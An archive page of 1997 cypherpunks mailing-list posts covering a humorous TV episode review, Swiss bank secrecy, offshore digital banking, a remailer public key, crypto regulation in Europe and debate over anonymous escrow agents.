~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, No, I didn't forget about Acapulco H.E.A.T. This week's episode was, "Code Name: Stranded." In this installment some of the Team boat off to an "uninhabited" Mexican island for a picnic and R&R. Of course, they forget to anchor the boat so they get stranded. To make matters worse, their is a loony Viet Nam vet (is there any other kind?) on the island who still things he's in 'Nam. Well, it goes pretty much as you would expect: gunfire, snake attack, poisonous spider attack, exploding hut and bikinis. There is *only* one crypto tie-in (and it's a stretch). They communicated an SOS to the remaining Team members by juryrigging an old field radio without a microphone, so that they could send Morse code. No Fabio, plenty of exposed Alison Armitage. FOR THE RECORD The cast listed above the main title: Catherine Oxenberg (Ringo Starr's wife Brandan Kelly Alison Armitage (yeah!) Spencer Rochfort Holly Floria Michael Worth The cast listed below the main title: Randy Vasquez Graham Heywood John Vernon Fabio (boo!) The executive producers are Max Keller, Jacques Konchier and Micheline Keller. The H.E.A.T. Team hotel location is provided by the Westin Regina Resort in Puerto Vallarta. The program is co-produced by M-6 and Les Films du Triangle with the participation of the Centre National de la Cinematographie. International Financing is by European Communications Inc. C'punks, I'm sure these last two items are where the motion picture business privacy, "regulatory arbitrage" and tax avoidance angles come in. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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Welcome to cryptography-politics-pgp-l
by Majordomo＠oceanus.host4u.net 17 Dec '03

17 Dec '03

-- Welcome to the cryptography-politics-pgp-l mailing list! Please save this message for future reference. Thank you. If you ever want to remove yourself from this mailing list, you can send mail to <Majordomo(a)oceanus.host4u.net> with the following command in the body of your email message: unsubscribe cryptography-politics-pgp-l cypherpunks-unedited(a)toad.com If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to <owner-cryptography-politics-pgp-l(a)oceanus.host4u.net> . This is the general rule for most mailing lists when you need to contact a human. Here's the general information for the list you've subscribed to, in case you don't already have it: [Last updated on: Sun Jul 20 7:07:57 1997] Welcome to The Privacy Channel's Cryptography-Politics-PGP-L. As you've probably guessed from the list title, this list is dedicated to the open, friendly, and intellegent discussion of Cryptography around the globe. Also, we discuss the many facets of politics as it affects the world of Cryptography. We discuss governmental involvement, corporate yes men, and all the like. We try to keep each other abreast of the everchanging world around us. All are welcome here, whether you have NO idea what encryption is, or whether you worked for the government designing DES. Last but not least, we also discuss PGP, is it a viable alternative to escrowed key accounts? I, the List-Owner, do think so. But that is open for discussion. Now, let's get a few things out of the way. The Rules! 1) ABSOLUTELY NO SPAMMING ALLOWED!!!! I'll can ya in a heartbeat, as well as speak to all the server owners that you traveled on. 2) You keep it kind of clean. Keep the swearing and such down to a minimum. You can get your point accross just as well without cussing. Flaming others is also considered bad karma here. I'd like to see folks help each other around here. After all, we are all we got! 3) You try to keep as much as possible to the point, and to the content of this list. If you really want to talk about something else, let me know. I'll get another list going. 4) Respect others!!! I do this because I like talking to other people from around the world, and to listen to their side of things. Their point is just as much valid as mine and yours. 5) Finally, HAVE FUN!!!!! In case the Bot fails to send it to you here is the subscribe/unsubscribe information. SUBSCRIBING =========== subscribe cryptography-politics-pgp-l your.email@here UNSUBSCRIBING ============= unsubscribe cryptography-politics-pgp-l your.email@here I'm done. Talk to you on the List.

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TEST [IGNORE]
by apache＠gargoyle.apana.org.au 17 Dec '03

17 Dec '03

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Re: OFFSHORE DIGITAL BANKS
by wcs＠anchor.ho.att.com 17 Dec '03

17 Dec '03

Tim writes: > My reading of the situation (Mooney's "Capital Protection" or > somesuch--book not handy to me as I write) is that the Swiss-based > banks will disclose records under several circumstances, and may be > required to under Swiss law. These circumstances included evidence the > account involves fraud, embezzlement, theft, etc. In particular, they take bank robbery real seriously. The original Swiss bank privacy laws made it illegal for banks to disclose information about their customers except for investigation of things that were crimes in Switzerland; the Swiss view tax evasion not as a crime, but as a civil issue between a citizen and a government, and view things like currency export and gold possession as no problem at all. The original foreign-government-defined "crime" that prompted this was "being Jewish" - the Nazi government pressured Swiss banks to turn over information about German accountholders with Jewish-sounding names (who might be trying to escape), and had the threat that they could require all German accountholders to withdraw their money from banks that didn't collaborate. I'm not sure if the laws were enacted during this period or after the war. > As I understand things at this instant, the Swiss don't recognize "tax > evasion" in another country as an adequate reason to break > bank-customer secrecy, but discussions are underway with the > "enforcers" from the U.S., and many analysts predict that Switzerland > will capitulate on this point as well. They've apparently been pressured to collaborate with Yankee investigations into politically-incorrect substance trafficking. Bill

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New Mixmaster Key
by Antonomasia 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- This is a new public key (reflecting a change in passphrase). I have changed the passphrase because I showed it to someone while testing beta versions of Mix 204 (not very bright of me to use the same phrase in a production version of course). The old key still works until I phase it out in a little while. The remailer name is now all lower case (and the long name is less juvenile). Here is the public key for mccain anonymous remailer: =-=-=-=-=-=-=-=-=-=-=-= mccain mccain(a)notatla.demon.co.uk ce919b441a1b82524d3284c49f34a77d 2.0.4b2 MC - -----Begin Mix Key----- ce919b441a1b82524d3284c49f34a77d 258 AATPQhiB8EQPG8u1OYqnCzf3H51bjpB1F0SpJoNI QNTAgqzjxZYteO6tXJQ9x0dJSEfLiAqdHpxn8IAS W7Bb9PNISWpOclgWS9jXB0/37VX83zPJgM/Wv6lK ICu1HJUSysIlQGH2sCaarvQr6fqCo9Pqks443hDJ sV+P6BlI24HFvwAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAQAB - -----End Mix Key----- -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQCVAgUBM9ASxErZ5ZQH9XIxAQFpbgP/fbc3au03jAsdc/Qe/raRDxol5iQaVJ7D 8ifbHMyTX0S0RiLpv7rnGQ0B+g6MzXndByoSOmwbacWfHx07WjECr4fQTqyYxQnh A9Q1sJGXqvFaqUkYyB9FdKH6v4QeHT+Z1xeUbiAM1f8PP5eUu6XuUsoNFKTw6ZDY WxaQFGGg/bA= =Xab6 -----END PGP SIGNATURE----- -- ############################################################### # Antonomasia ant(a)notatla.demon.co.uk # # See http://www.notatla.demon.co.uk/ # ###############################################################

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Welcome to cryptography-politics-pgp-l
by Majordomo＠oceanus.host4u.net 17 Dec '03

17 Dec '03

-- Welcome to the cryptography-politics-pgp-l mailing list! Please save this message for future reference. Thank you. If you ever want to remove yourself from this mailing list, you can send mail to <Majordomo(a)oceanus.host4u.net> with the following command in the body of your email message: unsubscribe cryptography-politics-pgp-l cypherpunks-unedited-outgoing(a)toad.com If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to <owner-cryptography-politics-pgp-l(a)oceanus.host4u.net> . This is the general rule for most mailing lists when you need to contact a human. Here's the general information for the list you've subscribed to, in case you don't already have it: [Last updated on: Sun Jul 20 7:07:57 1997] Welcome to The Privacy Channel's Cryptography-Politics-PGP-L. As you've probably guessed from the list title, this list is dedicated to the open, friendly, and intellegent discussion of Cryptography around the globe. Also, we discuss the many facets of politics as it affects the world of Cryptography. We discuss governmental involvement, corporate yes men, and all the like. We try to keep each other abreast of the everchanging world around us. All are welcome here, whether you have NO idea what encryption is, or whether you worked for the government designing DES. Last but not least, we also discuss PGP, is it a viable alternative to escrowed key accounts? I, the List-Owner, do think so. But that is open for discussion. Now, let's get a few things out of the way. The Rules! 1) ABSOLUTELY NO SPAMMING ALLOWED!!!! I'll can ya in a heartbeat, as well as speak to all the server owners that you traveled on. 2) You keep it kind of clean. Keep the swearing and such down to a minimum. You can get your point accross just as well without cussing. Flaming others is also considered bad karma here. I'd like to see folks help each other around here. After all, we are all we got! 3) You try to keep as much as possible to the point, and to the content of this list. If you really want to talk about something else, let me know. I'll get another list going. 4) Respect others!!! I do this because I like talking to other people from around the world, and to listen to their side of things. Their point is just as much valid as mine and yours. 5) Finally, HAVE FUN!!!!! In case the Bot fails to send it to you here is the subscribe/unsubscribe information. SUBSCRIBING =========== subscribe cryptography-politics-pgp-l your.email@here UNSUBSCRIBING ============= unsubscribe cryptography-politics-pgp-l your.email@here I'm done. Talk to you on the List.

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RE: OFFSHORE DIGITAL BANKS
by Claborne, Chris 17 Dec '03

17 Dec '03

> From: Sandy Sandfort <sandfort(a)crl.com> > Subject: OFFSHORE DIGITAL BANKS [SANDY SANDFORT wrote] > . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . > > C'punks, > > Chris Claborne wrote: > > I guess it boils down to this, we have to have someone > that we can trust. The issue of currency conversion > would also be a new one for me. Would my money be > Swiss? If the transaction gos south, what do I do, I am > no longer covered by US law and would have no proof that > this transaction ever took place (remember, no one can > ask the bank for records). Hmmmm > > Your money in a Swiss based bank would be Swiss if that's what > you wanted. Almost certainly, you would have additional options > for your "unit of accounting." > > Though US law might not help you, it is not true to say that "no > one can ask the bank for records." You can. The proof that a > transaction (such as a deposit) took place, is the digitally > signed receipt you get from the bank. It is VERY good proof. > If I my e-note instructed the bank to deposit some funds into a numbered account of my supplier, then I have no proof that that transaction was actually going to supplier X. Remember, one of the requirements by cypherpunks is to mask (if desired) where money is going. Even if I used the supplier's name on the e-note instructions, how could I prove that the name on the note and said supplier are the same? The only thing I could have PROOF of is that I spent N ammount of money. ... __o .. -\<, chris.claborne(a)sandiegoca.ncr.com ...(*)/(*). CI$: 76340.2422 PGP Pub Key fingerprint = A8 FA 55 92 23 20 72 69 52 AB 64 CC C7 D9 4F CA Avail on Pub Key server.

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TEST [IGNORE]
by apache＠gargoyle.apana.org.au 17 Dec '03

17 Dec '03

ex toad

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1-800-811-2141 code 20477
by hjuy7685tif＠aol.com 17 Dec '03

17 Dec '03

<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3> Make Money Promoting This Toll-Free Number 1-800-811-2141 code 20477 </FONT><FONT COLOR="#000000" SIZE=3>

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JENC8 presentation - Crypto Regulation in Europe - online
by Bert-Jaap Koops 17 Dec '03

17 Dec '03

I have put my recent presentation to JENC8 online: Crypto Regulation in Europe. Some key trends and issues Proceedings 8th Joint European Networking Conference, Edinburgh, 12-15 May 1997, pp. 811/1-8 http://cwis.kub.nl/~frw/people/koops/jenc8bjk.htm A somewhat revised version of this paper, updated until June 1997, will be published in Computer Networks and ISDN Systems. Comments are welcomed. Kind regards, Bert-Jaap

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thought for the day, and my IRS Investigations report
by Zooko Journeyman 17 Dec '03

17 Dec '03

My interaction with Jim Bell pretty much amounted to condemning him and telling him to go to hell, CC'ed to cypherpunks. And I haven't received any IRS Investigations notes, so perhaps my e-mail address wasn't included in Jim's little black book. Zooko "There are two major forces in the universe: evolution and intelligence."

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Fun with local TCP/IP & FTP
by sw＠tiac.net 17 Dec '03

17 Dec '03

I just tried firing up the FTP server in NCSA Telnet, and then accessing it via Fetch (an FTP client), all on my home Mac. Various error messages when I quit one or the other app, but IT WORKS when MacTCP is set to LocalTalk, or set to PPP *and* I'm dialed into my "provider." However, doing it with PPP running, no packets seem to go across the modem. Yo babes lookit me truckin' now. I'm told MacTCP doesn't use the standard Berkeley sockets calls. Is this true? Is there a library to translate? --Steve - - - - - - - - - - It is said a Shao Lin priest can walk through walls. Looked for, he cannot be seen. Listened for, he cannot be heard. Touched, he cannot be felt.

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Re: Problems with anonymous escrow 2--response
by tcmay＠netcom.com 17 Dec '03

17 Dec '03

This will be a much shorter than my reply of yesterday, to Part 1 of Hal's comments. >Besides the question of trustworthiness, another problem I see with >anonymous escrow agents applies more generally to any form of >anonymous business. Anonymity makes sense to me for the individual. >Each person manages his own affairs and he can keep secret or reveal >what he wants. But at the business level it is going to be much >harder to keep the same level of secrecy. It is hard for me to see >how a business larger than two or three people can really expect to >operate with the kind of anonymity we are talking about here. I see most businesses as very small. Or at least I see a large number of very small businesses. Like today, with consultants, one-person companies, small software firms, etc. Large corporations had their day, as described in "The Nature of the Firm," but the reasons are declining. The difficulties in keeping secrets, the need to insulate entities from lawsuits, and the various laws requiring employer-paid benefits, are all causing large monolithic organizations to downsize. (Not in all cases, of course.) How far this will go is unknown of course. But I grant you that most of my comments apply to individuals dealing with other individuals. Over the Net, this seems plausible. (Even for larger companies, they can designate someone to be their liaison, and not know his identity mapping...just an idea.) >These escrow agents will need significant assets to be useful, and I don't buy this. Escrow agents who are anonymous need no assets at all...what good would assets do if they can't be traced? More generally, reputation capital is what they need, not physical assets. >probably staffs of at least dozens or hundreds of actuaries and other >professionals who will judge the safety and appropriateness of the >various deals the agency is offered. How can you expect to keep the Underworld figures who make snap judgements on drug deals, on fencing goods, etc., don't need or don't use "hundreds of actuaries." Computers will of course make things even easier. I see the model as being more similar to Asian and Middle Eastern traders, where complicated arbitrage decisions are made every day by very small groups (individuals or families). Besides, the AEAs are not doing risk underwriting in a central way...they are agreeing to hold parts of a transaction and then make a fair decision on whether the terms and conditions were met. If research is needed, they can farm it out (untraceably, of course). >location and true identities of the business principals secret? It is >said that no more than three people can keep a secret; can we really >expect a staff of hundreds not to reveal that they actually work for >the mysterious XYZ escrow agency, accessible only through Blacknet? >Even with the Mafia, everyone knows who works there (judging from the >newspapers). Can we really expect more secrecy for these anonymous >businesses? But few people know the details of actual Mafia deals, and these are in the "real world." Deals over remailer nets are vastly less observable. > >I think that it is really impossible for a business of any significant >size to be anonymous in the same way that an individual can. The idea >of an escrow agency that retains its anonymity seems impractical to >me. > >Hal Not to me. Time will tell. --Tim May .......................................................................... Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)netcom.com | anonymous networks, digital pseudonyms, zero 408-688-5409 | knowledge, reputations, information markets, W.A.S.T.E.: Aptos, CA | black markets, collapse of governments. Higher Power: 2^859433 | Public Key: PGP and MailSafe available. "National borders are just speed bumps on the information superhighway."

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